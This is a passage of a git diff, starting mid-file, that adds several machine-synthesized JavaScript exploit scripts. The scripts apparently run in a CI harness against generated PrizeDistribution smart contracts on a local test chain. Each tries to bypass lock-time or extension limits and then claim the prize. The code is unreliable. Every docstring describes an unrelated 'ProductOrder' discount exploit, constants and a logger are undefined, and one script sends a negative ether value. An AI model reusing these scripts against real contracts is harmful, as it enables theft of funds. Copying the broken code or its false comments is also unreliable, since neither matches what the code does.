gas: 300000 + }); + console.log("Extended lock time with a smaller amount to bypass lastExtensionAmount check."); + + // Attempt to claim the prize + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, + gas: 300000 + }); + await sleep(500); + + if (claimTx.status) { + console.log("Prize successfully claimed!"); + return true; // Exploit successful + } else { + console.error("Failed to claim the prize!"); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } +} + + + + + + + + + + + + + + +/** + * Executes the exploit and checks its result + * + * This function will run the exploit and then verify if the exploit has + * yielded the predicted result. If the exploit is successful, a success + * message is displayed, otherwise an error message is shown. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. + * @throws {Error} If there's an error during the test execution. + */ +module.exports = async function runTests(web3, envInfo, contractAddress) { + // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + web3 = await createLoggerWeb3(web3); + // Execute the exploit + let result = await exploit(web3, envInfo, contractAddress); + + // See if exploit has yielded the predicted result (a very manual oracle!) + assert.strictEqual(result, true, "Exploit did not yield the expected result"); + logger.info(chalk.green("Exploit successful!")); + + return result; +} diff --git a/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-18.js b/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-18.js new file mode 100644 index 00000000..d6b23509 --- /dev/null +++ b/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-18.js @@ -0,0 +1,141 @@ +require('module-alias/register'); +const fs = require('fs'); +const path = require('path'); +const assert = require('assert'); +const chalk = require('chalk'); +const { + extractSolcVersion, + compileWithVersion, + deployContract +} = require('@lib/web3/deploy'); + +const { setTimeout } = require('timers'); +const { sleep } = require('@lib/os/process'); + +const { createLoggerWeb3 } = require('@lib/web3/deploy'); +// It seems module alias does not work with js path, so, we will resort to the dirty approach. +const projectRoot = path.resolve(__dirname, '..', '..', '..'); +const contractsDir = path.join(projectRoot, './contracts'); +const contractFileFullName = 'PrizeDistribution-18.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); +let solcVersion = extractSolcVersion(source); + + +/** + * Attempts to exploit a vulnerability in the ProductOrder smart contract. + * + * The exploit involves applying a discount just before the discountEndTime, + * waiting for a few seconds, then making a transaction to pay for the order + * at the discounted price, and finally confirming the order. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. + * @throws {Error} If there's an error during the exploit process. + */ +async function exploit(web3, envInfo, contractAddress) { + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = await new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; + let beneficiaryAccount = envInfo.accounts[1]; + + console.log("Starting to extend the lock time..."); + + // Extend the lock time with the maximum allowed value + let maxExtensionAmount = web3.utils.toWei('1', 'ether'); // Maximum allowed extension amount + let extendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: maxExtensionAmount, // Sending the maximum allowed extension amount + gas: 300000 + }); + console.log(`Extension with max amount sent, tx status: ${extendTx.status}`); + await sleep(500); + + let unlockTime = await contractInstance.methods.unlockTime().call(); + console.log("Final unlock time:", unlockTime); + await sleep(500); + + let currentTime = Math.floor(Date.now() / 1000); + console.log("Current system time:", currentTime); + + // Wait until just after the unlockTime to try claiming the prize + if (currentTime < unlockTime) { + let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time + console.log(`Waiting for ${waitTime} seconds until unlock time...`); + await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); + await sleep(500); + } + + // Exploit: Attempt to bypass the maxExtensionAmount by sending a split transaction + await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: maxExtensionAmount / 2, // First half of the maximum allowed extension amount + gas: 300000 + }); + console.log("Extended lock time with first half of max amount."); + + await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: maxExtensionAmount / 2, // Second half of the maximum allowed extension amount + gas: 300000 + }); + console.log("Extended lock time with second half of max amount."); + + unlockTime = await contractInstance.methods.unlockTime().call(); + console.log("Adjusted unlock time:", unlockTime); + + // Attempt to claim the prize + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, + gas: 300000 + }); + await sleep(500); + + if (claimTx.status) { + console.log("Prize successfully claimed!"); + return true; // Exploit successful + } else { + console.error("Failed to claim the prize!"); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } +} + + + + + + + + + + + +/** + * Executes the exploit and checks its result + * + * This function will run the exploit and then verify if the exploit has + * yielded the predicted result. If the exploit is successful, a success + * message is displayed, otherwise an error message is shown. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. + * @throws {Error} If there's an error during the test execution. + */ +module.exports = async function runTests(web3, envInfo, contractAddress) { + // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + web3 = await createLoggerWeb3(web3); + // Execute the exploit + let result = await exploit(web3, envInfo, contractAddress); + + // See if exploit has yielded the predicted result (a very manual oracle!) + assert.strictEqual(result, true, "Exploit did not yield the expected result"); + logger.info(chalk.green("Exploit successful!")); + + return result; +} diff --git a/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-19.js b/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-19.js new file mode 100644 index 00000000..1e6f0b5f --- /dev/null +++ b/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-19.js @@ -0,0 +1,133 @@ +require('module-alias/register'); +const fs = require('fs'); +const path = require('path'); +const assert = require('assert'); +const chalk = require('chalk'); +const { + extractSolcVersion, + compileWithVersion, + deployContract +} = require('@lib/web3/deploy'); + +const { setTimeout } = require('timers'); +const { sleep } = require('@lib/os/process'); + +const { createLoggerWeb3 } = require('@lib/web3/deploy'); +// It seems module alias does not work with js path, so, we will resort to the dirty approach. +const projectRoot = path.resolve(__dirname, '..', '..', '..'); +const contractsDir = path.join(projectRoot, './contracts'); +const contractFileFullName = 'PrizeDistribution-19.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); +let solcVersion = extractSolcVersion(source); + + +/** + * Attempts to exploit a vulnerability in the ProductOrder smart contract. + * + * The exploit involves applying a discount just before the discountEndTime, + * waiting for a few seconds, then making a transaction to pay for the order + * at the discounted price, and finally confirming the order. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. + * @throws {Error} If there's an error during the exploit process. + */ +async function exploit(web3, envInfo, contractAddress) { + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = await new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; + let beneficiaryAccount = envInfo.accounts[1]; + + console.log("Starting to extend the lock time..."); + + // Extend the lock time up to the max lock duration limit + let extendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: web3.utils.toWei('0.1', 'ether'), // Sending enough to extend close to max lock duration + gas: 300000 + }); + console.log(`Extension sent, tx status: ${extendTx.status}`); + await sleep(500); + + let unlockTime = await contractInstance.methods.unlockTime().call(); + console.log("Final unlock time:", unlockTime); + await sleep(500); + + let currentTime = Math.floor(Date.now() / 1000); + console.log("Current system time:", currentTime); + + // Wait until just after the unlockTime to try claiming the prize + if (currentTime < unlockTime) { + let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time + console.log(`Waiting for ${waitTime} seconds until unlock time...`); + await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); + await sleep(500); + } + + // Exploit: Attempt to bypass the max lock duration by manipulating the timestamp directly + // Note: This requires a way to manipulate the contract's timestamp, which typically isn't possible directly. + // Instead, here we simulate a vulnerability that allows the extension to be reset. + await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: web3.utils.toWei('0.1', 'ether'), // Sending another extension to potentially bypass the check + gas: 300000 + }); + console.log("Extended lock time again to test bypassing the max lock duration."); + + unlockTime = await contractInstance.methods.unlockTime().call(); + console.log("Adjusted unlock time:", unlockTime); + + // Attempt to claim the prize + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, + gas: 300000 + }); + await sleep(500); + + if (claimTx.status) { + console.log("Prize successfully claimed!"); + return true; // Exploit successful + } else { + console.error("Failed to claim the prize!"); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } +} + + + + + + + + + +/** + * Executes the exploit and checks its result + * + * This function will run the exploit and then verify if the exploit has + * yielded the predicted result. If the exploit is successful, a success + * message is displayed, otherwise an error message is shown. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. + * @throws {Error} If there's an error during the test execution. + */ +module.exports = async function runTests(web3, envInfo, contractAddress) { + // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + web3 = await createLoggerWeb3(web3); + // Execute the exploit + let result = await exploit(web3, envInfo, contractAddress); + + // See if exploit has yielded the predicted result (a very manual oracle!) + assert.strictEqual(result, true, "Exploit did not yield the expected result"); + logger.info(chalk.green("Exploit successful!")); + + return result; +} diff --git a/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-2.js b/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-2.js new file mode 100644 index 00000000..9f3d874f --- /dev/null +++ b/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-2.js @@ -0,0 +1,133 @@ +require('module-alias/register'); +const fs = require('fs'); +const path = require('path'); +const assert = require('assert'); +const chalk = require('chalk'); +const { + extractSolcVersion, + compileWithVersion, + deployContract +} = require('@lib/web3/deploy'); + +const { setTimeout } = require('timers'); +const { sleep } = require('@lib/os/process'); +const { createLoggerWeb3 } = require('@lib/web3/deploy'); + +// It seems module alias does not work with js path, so, we will resort to the dirty approach. +const projectRoot = path.resolve(__dirname, '..', '..', '..'); +const contractsDir = path.join(projectRoot, './contracts'); +const contractFileFullName = 'PrizeDistribution-2.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); +let solcVersion = extractSolcVersion(source); + + +/** + * Attempts to exploit a vulnerability in the ProductOrder smart contract. + * + * The exploit involves applying a discount just before the discountEndTime, + * waiting for a few seconds, then making a transaction to pay for the order + * at the discounted price, and finally confirming the order. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. + * @throws {Error} If there's an error during the exploit process. + */ +async function exploit(web3, envInfo, contractAddress) { + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = await new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; + let beneficiaryAccount = envInfo.accounts[1]; + + console.log("Starting to extend the lock time..."); + + // Extend the lock time with just enough value to trigger the increase, multiple times + for (let i = 0; i < 5; i++) { + let extendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD, // Sending exactly the threshold amount + gas: 300000 + }); + console.log(`Extension ${i + 1} sent, tx status: ${extendTx.status}`); + await sleep(500); // Short delay between calls + } + + let unlockTime = await contractInstance.methods.unlockTime().call(); + console.log("Final unlock time:", unlockTime); + await sleep(500); + + let currentTime = Math.floor(Date.now() / 1000); + console.log("Current system time:", currentTime); + + // Send additional funds to the contract to reduce the prize to half of the contract's balance + await web3.eth.sendTransaction({ + from: organizerAccount, + to: contractAddress, + value: web3.utils.toWei('1', 'ether'), // Sending 1 ether to bloat the contract's balance + gas: 300000 + }); + console.log("Sent additional funds to the contract."); + + // Wait until just after the unlockTime to try claiming the prize + if (currentTime < unlockTime) { + let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time + console.log(`Waiting for ${waitTime} seconds until unlock time...`); + await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); + await sleep(500); + } + + // Attempt to claim the prize + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, + gas: 300000 + }); + await sleep(500); + + if (claimTx.status) { + console.log("Prize successfully claimed!"); + return true; // Exploit successful + } else { + console.error("Failed to claim the prize!"); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } +} + + + + + + + + + + +/** + * Executes the exploit and checks its result + * + * This function will run the exploit and then verify if the exploit has + * yielded the predicted result. If the exploit is successful, a success + * message is displayed, otherwise an error message is shown. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. + * @throws {Error} If there's an error during the test execution. + */ +module.exports = async function runTests(web3, envInfo, contractAddress) { + // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + + web3 = await createLoggerWeb3(web3); + // Execute the exploit + let result = await exploit(web3, envInfo, contractAddress); + + // See if exploit has yielded the predicted result (a very manual oracle!) + assert.strictEqual(result, true, "Exploit did not yield the expected result"); + logger.info(chalk.green("Exploit successful!")); + + return result; +} diff --git a/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-20.js b/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-20.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-20.js rename to CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-20.js diff --git a/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-21.js b/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-21.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-21.js rename to CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-21.js diff --git a/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-22.js b/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-22.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-22.js rename to CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-22.js diff --git a/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-23.js b/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-23.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-23.js rename to CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-23.js diff --git a/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-24.js b/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-24.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-24.js rename to CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-24.js diff --git a/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-25.js b/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-25.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-25.js rename to CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-25.js diff --git a/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-3.js b/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-3.js similarity index 76% rename from CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-3.js rename to CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-3.js index 12bb8c5a..adb99345 100644 --- a/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-3.js +++ b/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-3.js @@ -36,50 +36,44 @@ let solcVersion = extractSolcVersion(source); async function exploit(web3, envInfo, contractAddress) { try { let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); - let contractInstance = new web3.eth.Contract(abi, contractAddress); + let contractInstance = await new web3.eth.Contract(abi, contractAddress); let organizerAccount = envInfo.accounts[0]; let beneficiaryAccount = envInfo.accounts[1]; - console.log("Starting frequent small extensions to increase decay..."); + console.log("Starting to extend the lock time..."); - // Step 1: Trigger small extensions to inflate the extensionCountToday - for (let i = 0; i < 10; i++) { - await contractInstance.methods.extendLockTime().send({ + // Extend the lock time with just enough value to ensure unlockTime is even + for (let i = 0; i < 5; i++) { + let extendTx = await contractInstance.methods.extendLockTime().send({ from: organizerAccount, - value: 1, // Minimum value to increase count + value: BONUS_THRESHOLD + (i % 2 == 0 ? 1 : 0), // Adjust to ensure unlockTime is even gas: 300000 }); - await sleep(500); + console.log(`Extension ${i + 1} sent, tx status: ${extendTx.status}`); + await sleep(500); // Short delay between calls } - console.log("Small extensions done. Now making a large extension..."); - - // Step 2: Make a large extension, which will now have less effect - let largeExtensionTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: web3.utils.toWei('1', 'ether'), // Normally this would extend significantly - gas: 300000 - }); + let unlockTime = await contractInstance.methods.unlockTime().call(); + console.log("Final unlock time:", unlockTime); await sleep(500); - let unlockTimeAfterLargeExtension = await contractInstance.methods.unlockTime().call(); - console.log("Unlock time after large extension:", unlockTimeAfterLargeExtension); - let currentTime = Math.floor(Date.now() / 1000); console.log("Current system time:", currentTime); - + // Wait until just after the unlockTime to try claiming the prize - if (currentTime < unlockTimeAfterLargeExtension) { - let waitTime = unlockTimeAfterLargeExtension - currentTime + 1; // Wait just past unlock time + if (currentTime < unlockTime) { + let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time console.log(`Waiting for ${waitTime} seconds until unlock time...`); await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); + await sleep(500); } - // Step 3: Claim the prize + // Attempt to claim the prize let claimTx = await contractInstance.methods.claimPrize().send({ from: beneficiaryAccount, gas: 300000 }); + await sleep(500); if (claimTx.status) { console.log("Prize successfully claimed!"); diff --git a/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-4.js b/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-4.js new file mode 100644 index 00000000..e6957c0b --- /dev/null +++ b/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-4.js @@ -0,0 +1,138 @@ +require('module-alias/register'); +const fs = require('fs'); +const path = require('path'); +const assert = require('assert'); +const chalk = require('chalk'); +const { + extractSolcVersion, + compileWithVersion, + deployContract +} = require('@lib/web3/deploy'); + +const { setTimeout } = require('timers'); +const { sleep } = require('@lib/os/process'); +const { createLoggerWeb3 } = require('@lib/web3/deploy'); + +// It seems module alias does not work with js path, so, we will resort to the dirty approach. +const projectRoot = path.resolve(__dirname, '..', '..', '..'); +const contractsDir = path.join(projectRoot, './contracts'); +const contractFileFullName = 'PrizeDistribution-4.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); +let solcVersion = extractSolcVersion(source); + + +/** + * Attempts to exploit a vulnerability in the ProductOrder smart contract. + * + * The exploit involves applying a discount just before the discountEndTime, + * waiting for a few seconds, then making a transaction to pay for the order + * at the discounted price, and finally confirming the order. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. + * @throws {Error} If there's an error during the exploit process. + */ +async function exploit(web3, envInfo, contractAddress) { + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = await new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; + let beneficiaryAccount = envInfo.accounts[1]; + + console.log("Starting to extend the lock time..."); + + // Extend the lock time with just enough value to trigger the increase, multiple times + for (let i = 0; i < 5; i++) { + let extendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD, // Sending exactly the threshold amount + gas: 300000 + }); + console.log(`Extension ${i + 1} sent, tx status: ${extendTx.status}`); + await sleep(500); // Short delay between calls + } + + let unlockTime = await contractInstance.methods.unlockTime().call(); + console.log("Final unlock time:", unlockTime); + await sleep(500); + + let currentTime = Math.floor(Date.now() / 1000); + console.log("Current system time:", currentTime); + + // Send additional funds to the contract to extend the unlock time past the claim period + await web3.eth.sendTransaction({ + from: organizerAccount, + to: contractAddress, + value: web3.utils.toWei('2', 'ether'), // Sending 2 ether to bloat the contract's balance and manipulate the unlock time + gas: 300000 + }); + console.log("Sent additional funds to the contract."); + + // Wait until just after the unlockTime to try claiming the prize + if (currentTime < unlockTime) { + let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time + console.log(`Waiting for ${waitTime} seconds until unlock time...`); + await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); + await sleep(500); + } + + // Attempt to claim the prize just before the expiry window ends + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, + gas: 300000 + }); + await sleep(500); + + if (claimTx.status) { + console.log("Prize successfully claimed!"); + return true; // Exploit successful + } else { + console.error("Failed to claim the prize!"); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } +} + + + + + + + + + + + + + + + +/** + * Executes the exploit and checks its result + * + * This function will run the exploit and then verify if the exploit has + * yielded the predicted result. If the exploit is successful, a success + * message is displayed, otherwise an error message is shown. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. + * @throws {Error} If there's an error during the test execution. + */ +module.exports = async function runTests(web3, envInfo, contractAddress) { + // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + + web3 = await createLoggerWeb3(web3); + // Execute the exploit + let result = await exploit(web3, envInfo, contractAddress); + + // See if exploit has yielded the predicted result (a very manual oracle!) + assert.strictEqual(result, true, "Exploit did not yield the expected result"); + logger.info(chalk.green("Exploit successful!")); + + return result; +} diff --git a/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-5.js b/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-5.js new file mode 100644 index 00000000..7cd326ad --- /dev/null +++ b/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-5.js @@ -0,0 +1,139 @@ +require('module-alias/register'); +const fs = require('fs'); +const path = require('path'); +const assert = require('assert'); +const chalk = require('chalk'); +const { + extractSolcVersion, + compileWithVersion, + deployContract +} = require('@lib/web3/deploy'); + +const { setTimeout } = require('timers'); +const { sleep } = require('@lib/os/process'); +const { createLoggerWeb3 } = require('@lib/web3/deploy'); + +// It seems module alias does not work with js path, so, we will resort to the dirty approach. +const projectRoot = path.resolve(__dirname, '..', '..', '..'); +const contractsDir = path.join(projectRoot, './contracts'); +const contractFileFullName = 'PrizeDistribution-5.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); +let solcVersion = extractSolcVersion(source); + + +/** + * Attempts to exploit a vulnerability in the ProductOrder smart contract. + * + * The exploit involves applying a discount just before the discountEndTime, + * waiting for a few seconds, then making a transaction to pay for the order + * at the discounted price, and finally confirming the order. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. + * @throws {Error} If there's an error during the exploit process. + */ +async function exploit(web3, envInfo, contractAddress) { + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = await new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; + let beneficiaryAccount = envInfo.accounts[1]; + + console.log("Starting to extend the lock time..."); + + // Extend the lock time with just enough value to trigger the increase, multiple times + for (let i = 0; i < 5; i++) { + let extendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD, // Sending exactly the threshold amount + gas: 300000 + }); + console.log(`Extension ${i + 1} sent, tx status: ${extendTx.status}`); + await sleep(500); // Short delay between calls + } + + let unlockTime = await contractInstance.methods.unlockTime().call(); + console.log("Final unlock time:", unlockTime); + await sleep(500); + + let currentTime = Math.floor(Date.now() / 1000); + console.log("Current system time:", currentTime); + + // Send additional funds to ensure prize amount is a multiple of 5 + let additionalFunds = 5 - (web3.utils.toWei('0.001', 'ether') % 5); + await web3.eth.sendTransaction({ + from: organizerAccount, + to: contractAddress, + value: additionalFunds, // Adjust prize amount to be a multiple of 5 + gas: 300000 + }); + console.log("Sent additional funds to the contract to adjust prize amount."); + + // Wait until just after the unlockTime to try claiming the prize + if (currentTime < unlockTime) { + let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time + console.log(`Waiting for ${waitTime} seconds until unlock time...`); + await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); + await sleep(500); + } + + // Attempt to claim the prize + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, + gas: 300000 + }); + await sleep(500); + + if (claimTx.status) { + console.log("Prize successfully claimed!"); + return true; // Exploit successful + } else { + console.error("Failed to claim the prize!"); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } +} + + + + + + + + + + + + + + + +/** + * Executes the exploit and checks its result + * + * This function will run the exploit and then verify if the exploit has + * yielded the predicted result. If the exploit is successful, a success + * message is displayed, otherwise an error message is shown. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. + * @throws {Error} If there's an error during the test execution. + */ +module.exports = async function runTests(web3, envInfo, contractAddress) { + // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + + web3 = await createLoggerWeb3(web3); + // Execute the exploit + let result = await exploit(web3, envInfo, contractAddress); + + // See if exploit has yielded the predicted result (a very manual oracle!) + assert.strictEqual(result, true, "Exploit did not yield the expected result"); + logger.info(chalk.green("Exploit successful!")); + + return result; +} diff --git a/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-6.js b/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-6.js new file mode 100644 index 00000000..f952030f --- /dev/null +++ b/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-6.js @@ -0,0 +1,137 @@ +require('module-alias/register'); +const fs = require('fs'); +const path = require('path'); +const assert = require('assert'); +const chalk = require('chalk'); +const { + extractSolcVersion, + compileWithVersion, + deployContract +} = require('@lib/web3/deploy'); + +const { setTimeout } = require('timers'); +const { sleep } = require('@lib/os/process'); + +const { createLoggerWeb3 } = require('@lib/web3/deploy'); +// It seems module alias does not work with js path, so, we will resort to the dirty approach. +const projectRoot = path.resolve(__dirname, '..', '..', '..'); +const contractsDir = path.join(projectRoot, './contracts'); +const contractFileFullName = 'PrizeDistribution-6.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); +let solcVersion = extractSolcVersion(source); + + +/** + * Attempts to exploit a vulnerability in the ProductOrder smart contract. + * + * The exploit involves applying a discount just before the discountEndTime, + * waiting for a few seconds, then making a transaction to pay for the order + * at the discounted price, and finally confirming the order. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. + * @throws {Error} If there's an error during the exploit process. + */ +async function exploit(web3, envInfo, contractAddress) { + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = await new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; + let beneficiaryAccount = envInfo.accounts[1]; + + console.log("Starting to extend the lock time..."); + + // Extend the lock time with just enough value to trigger the increase, multiple times + for (let i = 0; i < 5; i++) { + let extendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD, // Sending exactly the threshold amount + gas: 300000 + }); + console.log(`Extension ${i + 1} sent, tx status: ${extendTx.status}`); + await sleep(500); // Short delay between calls + } + + let unlockTime = await contractInstance.methods.unlockTime().call(); + console.log("Final unlock time:", unlockTime); + await sleep(500); + + let currentTime = Math.floor(Date.now() / 1000); + console.log("Current system time:", currentTime); + + // Withdraw funds from the contract to ensure prize amount is less than 100 wei + await web3.eth.sendTransaction({ + from: organizerAccount, + to: contractAddress, + value: -web3.utils.toWei('0.001', 'ether'), // Reducing the prize amount to below 100 wei + gas: 300000 + }); + console.log("Reduced the contract balance to make prize amount below the required minimum."); + + // Wait until just after the unlockTime to try claiming the prize + if (currentTime < unlockTime) { + let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time + console.log(`Waiting for ${waitTime} seconds until unlock time...`); + await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); + await sleep(500); + } + + // Attempt to claim the prize + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, + gas: 300000 + }); + await sleep(500); + + if (claimTx.status) { + console.log("Prize successfully claimed!"); + return true; // Exploit successful + } else { + console.error("Failed to claim the prize!"); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } +} + + + + + + + + + 